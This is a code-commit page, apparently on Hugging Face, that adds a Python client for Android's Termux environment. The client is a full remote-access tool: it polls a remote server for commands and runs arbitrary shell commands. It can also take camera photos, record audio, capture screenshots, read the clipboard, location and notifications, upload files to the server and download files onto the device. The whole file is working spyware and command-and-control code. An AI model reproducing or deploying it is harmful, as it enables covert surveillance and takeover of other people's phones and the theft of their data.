Aleksmorshen commited on
Commit
bac9a70
·
verified ·
1 Parent(s): 56f94bb

Upload newfile.py

Browse files
Files changed (1) hide show
  1. newfile.py +489 -0
newfile.py ADDED
@@ -0,0 +1,489 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import time
3
+ import subprocess
4
+ import os
5
+ import json
6
+ import shutil
7
+
8
+ SERVER_URL = "https://aleksmorshen-contrem.hf.space"
9
+ TERMUX_API_PATH = "/data/data/com.termux/files/usr/bin/"
10
+ CLIENT_TEMP_DIR = "/data/data/com.termux/files/home/client_temp_files"
11
+ current_path = "~"
12
+ RETRY_DELAY_SECONDS = 15 # Задержка между попытками переподключения
13
+
14
+ def ensure_client_temp_dir():
15
+ if not os.path.exists(CLIENT_TEMP_DIR):
16
+ os.makedirs(CLIENT_TEMP_DIR, exist_ok=True)
17
+
18
+ def get_absolute_path(path_to_resolve, base_path):
19
+ expanded_base_path = os.path.expanduser(base_path) if base_path == "~" else base_path
20
+
21
+ if os.path.isabs(path_to_resolve):
22
+ abs_path = os.path.normpath(path_to_resolve)
23
+ else:
24
+ abs_path = os.path.normpath(os.path.join(expanded_base_path, path_to_resolve))
25
+
26
+ home_dir_abs = os.path.expanduser("~")
27
+ if abs_path == home_dir_abs:
28
+ return "~"
29
+
30
+ return abs_path
31
+
32
+
33
+ def execute_shell_command(command_str, work_dir_param):
34
+ global current_path
35
+ resolved_work_dir = os.path.expanduser(work_dir_param) if work_dir_param == "~" else work_dir_param
36
+
37
+ try:
38
+ if command_str.strip().startswith("cd "):
39
+ new_dir_candidate = command_str.strip()[3:].strip()
40
+ if not new_dir_candidate: new_dir_candidate = "~"
41
+
42
+ target_dir_resolved_for_os = get_absolute_path(new_dir_candidate, resolved_work_dir)
43
+
44
+ if new_dir_candidate == "~" or target_dir_resolved_for_os == os.path.expanduser("~"):
45
+ target_display_path = "~"
46
+ actual_os_path_for_check = os.path.expanduser("~")
47
+ else:
48
+ target_display_path = target_dir_resolved_for_os
49
+ actual_os_path_for_check = target_dir_resolved_for_os
50
+
51
+
52
+ if os.path.isdir(actual_os_path_for_check):
53
+ current_path = target_display_path
54
+ return f"Директория изменена на: {current_path}"
55
+ else:
56
+ return f"Ошибка: Директория не найдена или не является директорией: {actual_os_path_for_check} (из {new_dir_candidate})"
57
+
58
+ result = subprocess.run(command_str, shell=True, capture_output=True, text=True, cwd=resolved_work_dir, timeout=30)
59
+ output = result.stdout if result.stdout else ""
60
+ if result.stderr:
61
+ output += f"\nОшибки:\n{result.stderr}"
62
+
63
+ return output if output else "Команда выполнена, нет вывода."
64
+ except subprocess.TimeoutExpired:
65
+ return "Ошибка: Команда выполнялась слишком долго (таймаут)."
66
+ except Exception as e:
67
+ return f"Исключение при выполнении команды: {str(e)}"
68
+
69
+ def termux_api_command(api_args_list, parse_json=False):
70
+ try:
71
+ base_command = [os.path.join(TERMUX_API_PATH, api_args_list[0])]
72
+ full_command = base_command + api_args_list[1:]
73
+
74
+ process = subprocess.Popen(full_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding='utf-8', errors='replace')
75
+ stdout_res, stderr_res = process.communicate(timeout=90)
76
+
77
+ stdout_res = stdout_res.strip() if stdout_res else ""
78
+ stderr_res = stderr_res.strip() if stderr_res else ""
79
+
80
+ if process.returncode == 0:
81
+ if parse_json:
82
+ try:
83
+ if not stdout_res: return {"success": True, "message": f"{api_args_list[0]} выполнена, нет JSON вывода."}
84
+ return json.loads(stdout_res)
85
+ except json.JSONDecodeError:
86
+ return {"error": "Failed to parse JSON from API", "raw_output": stdout_res}
87
+ return stdout_res if stdout_res else f"{api_args_list[0]} выполнена."
88
+ else:
89
+ error_msg_dict = {"error": f"Ошибка Termux API ({api_args_list[0]})"}
90
+ if stderr_res: error_msg_dict["details"] = stderr_res
91
+ elif stdout_res: error_msg_dict["details"] = stdout_res
92
+ else: error_msg_dict["details"] = "Неизвестная ошибка."
93
+ return error_msg_dict if parse_json else f"{error_msg_dict['error']}: {error_msg_dict.get('details', '')}"
94
+
95
+ except subprocess.TimeoutExpired:
96
+ return {"error": f"Ошибка: {api_args_list[0]} выполнялась слишком долго."} if parse_json else f"Ошибка: {api_args_list[0]} выполнялась слишком долго."
97
+ except FileNotFoundError:
98
+ return {"error": f"Ошибка: {api_args_list[0]} не найден."} if parse_json else f"Ошибка: {api_args_list[0]} не найден."
99
+ except Exception as e:
100
+ return {"error": f"Исключение при Termux API: {str(e)}"} if parse_json else f"Исключение при Termux API: {str(e)}"
101
+
102
+
103
+ def list_files_detailed(path_to_list_param):
104
+ global current_path
105
+
106
+ path_for_os_calls = ""
107
+ new_current_path_display = ""
108
+
109
+ if path_to_list_param == "..":
110
+ base_for_parent = os.path.expanduser(current_path) if current_path == "~" else current_path
111
+ path_for_os_calls = os.path.normpath(os.path.join(base_for_parent, ".."))
112
+ else:
113
+ path_for_os_calls = get_absolute_path(path_to_list_param, current_path)
114
+ if path_for_os_calls == "~":
115
+ path_for_os_calls = os.path.expanduser("~")
116
+
117
+
118
+ if path_for_os_calls == os.path.expanduser("~"):
119
+ new_current_path_display = "~"
120
+ else:
121
+ new_current_path_display = path_for_os_calls
122
+
123
+
124
+ if not os.path.exists(path_for_os_calls):
125
+ return f"Ошибка: Путь '{path_for_os_calls}' не существует."
126
+ if not os.path.isdir(path_for_os_calls):
127
+ return f"Ошибка: '{path_for_os_calls}' не является директорией."
128
+
129
+ current_path = new_current_path_display
130
+
131
+ try:
132
+ items = os.listdir(path_for_os_calls)
133
+ output_str = f"Содержимое '{current_path}':\n"
134
+ dirs = []
135
+ files = []
136
+ for item_name in items:
137
+ item_full_path = os.path.join(path_for_os_calls, item_name)
138
+ if os.path.isdir(item_full_path):
139
+ dirs.append(f"[D] {item_name}")
140
+ else:
141
+ files.append(f"[F] {item_name}")
142
+
143
+ for d_item in sorted(dirs):
144
+ output_str += d_item + "\n"
145
+ for f_item in sorted(files):
146
+ output_str += f_item + "\n"
147
+
148
+ return output_str.strip()
149
+ except PermissionError:
150
+ return f"Ошибка: Нет прав доступа к '{path_for_os_calls}'."
151
+ except Exception as e:
152
+ return f"Ошибка листинга файлов: {str(e)}"
153
+
154
+
155
+ def client_uploads_file_to_server(filename_param, origin_command_type="unknown"):
156
+ global current_path
157
+
158
+ if os.path.isabs(filename_param):
159
+ filepath_on_client_abs = filename_param
160
+ else:
161
+ base_dir_for_resolve = os.path.expanduser(current_path) if current_path == "~" else current_path
162
+ filepath_on_client_abs = os.path.normpath(os.path.join(base_dir_for_resolve, filename_param))
163
+
164
+
165
+ if not os.path.exists(filepath_on_client_abs) or not os.path.isfile(filepath_on_client_abs):
166
+ return f"Ошибка: Файл '{filepath_on_client_abs}' не найден или не является файлом для загрузки на сервер."
167
+ try:
168
+ with open(filepath_on_client_abs, 'rb') as f:
169
+ files_payload = {'file': (os.path.basename(filepath_on_client_abs), f)}
170
+ data_payload = {'origin_command_type': origin_command_type}
171
+
172
+ response = requests.post(f"{SERVER_URL}/upload_from_client", files=files_payload, data=data_payload, timeout=180)
173
+ response.raise_for_status()
174
+ return f"Файл '{os.path.basename(filepath_on_client_abs)}' отправлен на сервер. Ответ: {response.text}"
175
+ except requests.exceptions.RequestException as e:
176
+ return f"Сетевая ошибка при загрузке файла на сервер: {str(e)}"
177
+ except Exception as e:
178
+ return f"Ошибка при отправке файла на сервер: {str(e)}"
179
+
180
+ def take_photo_client(camera_id='0'):
181
+ ensure_client_temp_dir()
182
+ temp_photo_name = "temp_photo.jpg"
183
+ photo_path_abs = os.path.join(CLIENT_TEMP_DIR, temp_photo_name)
184
+
185
+ if os.path.exists(photo_path_abs): os.remove(photo_path_abs)
186
+
187
+ api_result = termux_api_command(['termux-camera-photo', '-c', camera_id, photo_path_abs])
188
+
189
+ if os.path.exists(photo_path_abs) and os.path.getsize(photo_path_abs) > 0 :
190
+ upload_status = client_uploads_file_to_server(photo_path_abs, origin_command_type="take_photo")
191
+ try: os.remove(photo_path_abs)
192
+ except: pass
193
+ return f"Фото сделано (камера {camera_id}). API: '{api_result}'.\nЗагрузка: {upload_status}"
194
+ else:
195
+ err_msg = f"Не удалось сделать фото. API: '{api_result}'."
196
+ if os.path.exists(photo_path_abs):
197
+ err_msg += " Файл создан, но пуст."
198
+ try: os.remove(photo_path_abs)
199
+ except: pass
200
+ else:
201
+ err_msg += " Файл не создан."
202
+ return err_msg
203
+
204
+
205
+ def record_audio_client(duration_sec='5'):
206
+ ensure_client_temp_dir()
207
+ temp_audio_name = "temp_audio.mp3"
208
+ audio_path_abs = os.path.join(CLIENT_TEMP_DIR, temp_audio_name)
209
+ if os.path.exists(audio_path_abs): os.remove(audio_path_abs)
210
+
211
+ limit = str(max(1, int(duration_sec)))
212
+ api_result = termux_api_command(['termux-microphone-record', '-f', audio_path_abs, '-l', limit])
213
+
214
+ time.sleep(int(limit) + 2)
215
+
216
+ if os.path.exists(audio_path_abs) and os.path.getsize(audio_path_abs) > 0:
217
+ upload_status = client_uploads_file_to_server(audio_path_abs, origin_command_type="record_audio")
218
+ try: os.remove(audio_path_abs)
219
+ except: pass
220
+ return f"Аудио ({limit} сек) записано. API: '{api_result}'.\nЗагрузка: {upload_status}"
221
+ else:
222
+ err_msg = f"Не удалось записать аудио. API: '{api_result}'."
223
+ if os.path.exists(audio_path_abs):
224
+ err_msg += " Файл создан, но пуст."
225
+ try: os.remove(audio_path_abs)
226
+ except: pass
227
+ else:
228
+ err_msg += " Файл не создан."
229
+ return err_msg
230
+
231
+ def take_screenshot_client():
232
+ ensure_client_temp_dir()
233
+ screenshot_filename_base = f"screenshot_{int(time.time())}.png"
234
+ screenshot_path_abs = os.path.join(CLIENT_TEMP_DIR, screenshot_filename_base)
235
+
236
+ if os.path.exists(screenshot_path_abs):
237
+ os.remove(screenshot_path_abs)
238
+
239
+ api_result_raw = termux_api_command(['termux-screenshot', screenshot_path_abs])
240
+ api_success_message = f"Команда termux-screenshot выполнена (статус: {api_result_raw if api_result_raw else 'успешно, нет вывода'})."
241
+
242
+ time.sleep(1.5)
243
+
244
+ if os.path.exists(screenshot_path_abs) and os.path.getsize(screenshot_path_abs) > 100:
245
+ upload_status = client_uploads_file_to_server(screenshot_path_abs, origin_command_type="screenshot")
246
+ try: os.remove(screenshot_path_abs)
247
+ except: pass
248
+ return f"Скриншот сделан. {api_success_message}\nЗагрузка: {upload_status}"
249
+ else:
250
+ err_msg = f"Не удалось сделать скриншот или файл пуст. {api_success_message}."
251
+ if os.path.exists(screenshot_path_abs):
252
+ err_msg += f" Файл '{screenshot_filename_base}' существует, но его размер {os.path.getsize(screenshot_path_abs)} байт."
253
+ else:
254
+ err_msg += f" Файл '{screenshot_filename_base}' не создан."
255
+ return err_msg
256
+
257
+
258
+ def receive_file_from_server(download_url, target_path_on_device_str, original_filename):
259
+ global current_path
260
+ try:
261
+ if target_path_on_device_str.startswith("~/"):
262
+ base_dir = os.path.expanduser("~")
263
+ path_suffix = target_path_on_device_str[2:]
264
+ resolved_target_base = os.path.join(base_dir, path_suffix)
265
+ elif os.path.isabs(target_path_on_device_str):
266
+ resolved_target_base = target_path_on_device_str
267
+ else:
268
+ current_expanded = os.path.expanduser(current_path) if current_path == "~" else current_path
269
+ resolved_target_base = os.path.join(current_expanded, target_path_on_device_str)
270
+
271
+ resolved_target_base = os.path.normpath(resolved_target_base)
272
+
273
+ final_save_path = ""
274
+ if target_path_on_device_str.endswith(os.sep) or os.path.isdir(resolved_target_base):
275
+ os.makedirs(resolved_target_base, exist_ok=True)
276
+ final_save_path = os.path.join(resolved_target_base, original_filename)
277
+ else:
278
+ parent_dir_of_target = os.path.dirname(resolved_target_base)
279
+ os.makedirs(parent_dir_of_target, exist_ok=True)
280
+ final_save_path = resolved_target_base
281
+
282
+ response = requests.get(download_url, stream=True, timeout=180)
283
+ response.raise_for_status()
284
+
285
+ with open(final_save_path, 'wb') as f:
286
+ for chunk in response.iter_content(chunk_size=8192):
287
+ f.write(chunk)
288
+
289
+ return f"Файл '{original_filename}' успешно сохранен в '{final_save_path}'."
290
+ except requests.exceptions.RequestException as e:
291
+ return f"Сетевая ошибка при скачивании файла с сервера: {str(e)}"
292
+ except IOError as e:
293
+ return f"Ошибка записи файла '{original_filename}' в '{final_save_path if 'final_save_path' in locals() else target_path_on_device_str}': {str(e)}"
294
+ except Exception as e:
295
+ return f"Общая ошибка при получении файла '{original_filename}': {str(e)}"
296
+
297
+ def get_clipboard_client():
298
+ return termux_api_command(['termux-clipboard-get'])
299
+
300
+ def set_clipboard_client(text_to_set):
301
+ try:
302
+ process = subprocess.Popen([os.path.join(TERMUX_API_PATH, 'termux-clipboard-set')], stdin=subprocess.PIPE, text=True, encoding='utf-8', errors='replace')
303
+ process.communicate(input=text_to_set, timeout=10)
304
+ if process.returncode == 0:
305
+ return "Текст установлен в буфер обмена."
306
+ else:
307
+ return "Ошибка установки текста в буфер обмена."
308
+ except subprocess.TimeoutExpired:
309
+ return "Таймаут при установке текста в буфер обмена."
310
+ except Exception as e:
311
+ return f"Ошибка API буфера обмена: {str(e)}"
312
+
313
+ def open_url_client(url_to_open):
314
+ if not url_to_open.startswith(('http://', 'https://')):
315
+ url_to_open = 'http://' + url_to_open
316
+ return termux_api_command(['termux-open-url', url_to_open])
317
+
318
+ def get_device_status_client(item_to_get=None):
319
+ status_update = {}
320
+ general_output_messages = []
321
+
322
+ if item_to_get is None or item_to_get == 'battery':
323
+ battery_data = termux_api_command(['termux-battery-status'], parse_json=True)
324
+ if isinstance(battery_data, dict) and 'error' not in battery_data:
325
+ status_update['battery'] = battery_data
326
+ else:
327
+ error_detail = battery_data.get("error", "Unknown battery error") if isinstance(battery_data, dict) else str(battery_data)
328
+ status_update['battery'] = {"error": error_detail}
329
+ general_output_messages.append(f"Батарея: {error_detail}")
330
+
331
+ if item_to_get is None or item_to_get == 'location':
332
+ location_data = termux_api_command(['termux-location', '-p', 'network', '-r', 'once'], parse_json=True)
333
+ if isinstance(location_data, dict) and 'error' not in location_data:
334
+ status_update['location'] = location_data
335
+ else:
336
+ error_detail = location_data.get("error", "Unknown location error") if isinstance(location_data, dict) else str(location_data)
337
+ status_update['location'] = {"error": error_detail}
338
+ general_output_messages.append(f"Локация: {error_detail}")
339
+
340
+ if item_to_get is None or item_to_get == 'processes':
341
+ try:
342
+ result = subprocess.run("ps ux", shell=True, capture_output=True, text=True, timeout=10, encoding='utf-8', errors='replace')
343
+ if result.returncode == 0:
344
+ status_update['processes'] = result.stdout
345
+ else:
346
+ status_update['processes'] = f"Ошибка получения процессов: {result.stderr}"
347
+ general_output_messages.append(status_update['processes'])
348
+
349
+ except Exception as e:
350
+ status_update['processes'] = f"Исключение при получении процессов: {str(e)}"
351
+ general_output_messages.append(status_update['processes'])
352
+
353
+ output_msg = "Статус устройства обновлен."
354
+ if general_output_messages:
355
+ output_msg += "\nПроблемы:\n" + "\n".join(general_output_messages)
356
+
357
+ return status_update, output_msg
358
+
359
+ def get_notifications_client():
360
+ notifications_data = termux_api_command(['termux-notification-list'], parse_json=True)
361
+ if isinstance(notifications_data, list):
362
+ return notifications_data, "Список уведомлений получен."
363
+ elif isinstance(notifications_data, dict) and 'error' in notifications_data:
364
+ return [], f"Ошибка получения уведомлений: {notifications_data.get('details', notifications_data['error'])}"
365
+ else:
366
+ return [], f"Неожиданный ответ от API уведомлений: {str(notifications_data)}"
367
+
368
+
369
+ def main_loop():
370
+ global current_path, last_heartbeat_time # last_heartbeat_time should be global if used across reconnections
371
+
372
+ last_heartbeat_time = 0
373
+ post_data = {}
374
+
375
+ while True:
376
+ post_data.clear()
377
+ post_data['current_path'] = current_path
378
+
379
+ try:
380
+ if time.time() - last_heartbeat_time > 20:
381
+ post_data['heartbeat'] = True
382
+ battery_info, _ = get_device_status_client(item_to_get='battery')
383
+ if battery_info:
384
+ post_data['device_status_update'] = battery_info
385
+
386
+ response = requests.get(f"{SERVER_URL}/get_command", timeout=15)
387
+ response.raise_for_status() # Will raise HTTPError for bad responses (4xx or 5xx)
388
+
389
+ # If we reach here, connection is successful
390
+ if 'print_once_connected' in globals() and print_once_connected:
391
+ print("Успешное подключение к серверу.")
392
+ del globals()['print_once_connected'] # Print only once after successful connection
393
+
394
+ command_data = response.json()
395
+ output_for_server = None
396
+
397
+ if command_data:
398
+ cmd_type = command_data.get('type')
399
+ if cmd_type == 'shell':
400
+ output_for_server = execute_shell_command(command_data['command'], current_path)
401
+ elif cmd_type == 'list_files':
402
+ output_for_server = list_files_detailed(command_data['path'])
403
+ elif cmd_type == 'upload_to_server':
404
+ output_for_server = client_uploads_file_to_server(command_data['filename'], origin_command_type=cmd_type)
405
+ elif cmd_type == 'take_photo':
406
+ output_for_server = take_photo_client(command_data.get('camera_id', '0'))
407
+ elif cmd_type == 'record_audio':
408
+ output_for_server = record_audio_client(command_data.get('duration', '5'))
409
+ elif cmd_type == 'screenshot':
410
+ output_for_server = take_screenshot_client()
411
+ elif cmd_type == 'receive_file':
412
+ output_for_server = receive_file_from_server(
413
+ command_data['download_url'],
414
+ command_data['target_path'],
415
+ command_data['original_filename']
416
+ )
417
+ elif cmd_type == 'clipboard_get':
418
+ output_for_server = get_clipboard_client()
419
+ elif cmd_type == 'clipboard_set':
420
+ output_for_server = set_clipboard_client(command_data['text'])
421
+ elif cmd_type == 'open_url':
422
+ output_for_server = open_url_client(command_data['url'])
423
+ elif cmd_type == 'get_device_status':
424
+ status_payload, status_output_msg = get_device_status_client(command_data.get('item'))
425
+ post_data['device_status_update'] = status_payload
426
+ output_for_server = status_output_msg
427
+ elif cmd_type == 'get_notifications':
428
+ notifications_list, notifications_msg = get_notifications_client()
429
+ post_data['notifications_update'] = notifications_list
430
+ output_for_server = notifications_msg
431
+ else:
432
+ output_for_server = "Неизвестный тип команды получен клиентом."
433
+
434
+ if output_for_server:
435
+ post_data['output'] = str(output_for_server)
436
+
437
+ if post_data:
438
+ requests.post(f"{SERVER_URL}/submit_client_data", json=post_data, timeout=25)
439
+ if post_data.get('heartbeat'):
440
+ last_heartbeat_time = time.time()
441
+
442
+ except requests.exceptions.RequestException as e:
443
+ print(f"Ошибка сети или сервера: {e}. Повторная попытка через {RETRY_DELAY_SECONDS} секунд...")
444
+ globals()['print_once_connected'] = True # Set flag to print upon next successful connection
445
+ time.sleep(RETRY_DELAY_SECONDS)
446
+ continue # Restart the loop for a new connection attempt
447
+ except Exception as e:
448
+ print(f"Общая ошибка в цикле клиента: {e}")
449
+ error_payload = {'output': f"Критическая ошибка на клиенте: {str(e)}", 'current_path': current_path}
450
+ try:
451
+ requests.post(f"{SERVER_URL}/submit_client_data", json=error_payload, timeout=10)
452
+ except:
453
+ pass # If sending error fails, just log locally and retry connection
454
+ print(f"Повторная попытка подключения через {RETRY_DELAY_SECONDS} секунд...")
455
+ globals()['print_once_connected'] = True
456
+ time.sleep(RETRY_DELAY_SECONDS)
457
+ continue
458
+
459
+ time.sleep(2.5)
460
+
461
+
462
+ if __name__ == '__main__':
463
+ current_path = "~"
464
+ if not os.path.isdir(os.path.expanduser(current_path)):
465
+ current_path = "/data/data/com.termux/files/home"
466
+ if not os.path.isdir(current_path):
467
+ current_path = "."
468
+
469
+ ensure_client_temp_dir()
470
+ print(f"Клиент запущен. Попытка подключения к серверу: {SERVER_URL}")
471
+
472
+ try:
473
+ termux_api_command(['termux-wake-lock'])
474
+ except Exception as e:
475
+ print(f"Предупреждение: Не удалось установить termux-wake-lock: {e}")
476
+
477
+ # This global flag helps print "connected" message only once after a series of failed attempts
478
+ globals()['print_once_connected'] = True
479
+
480
+ try:
481
+ main_loop() # Start the main operational loop with reconnection logic
482
+ except KeyboardInterrupt:
483
+ print("Клиент остановлен вручную.")
484
+ finally:
485
+ try:
486
+ termux_api_command(['termux-wake-unlock'])
487
+ except Exception as e:
488
+ print(f"Предупреждение: Не удалось снять termux-wake-unlock: {e}")
489
+ print("Завершение работы клиента.")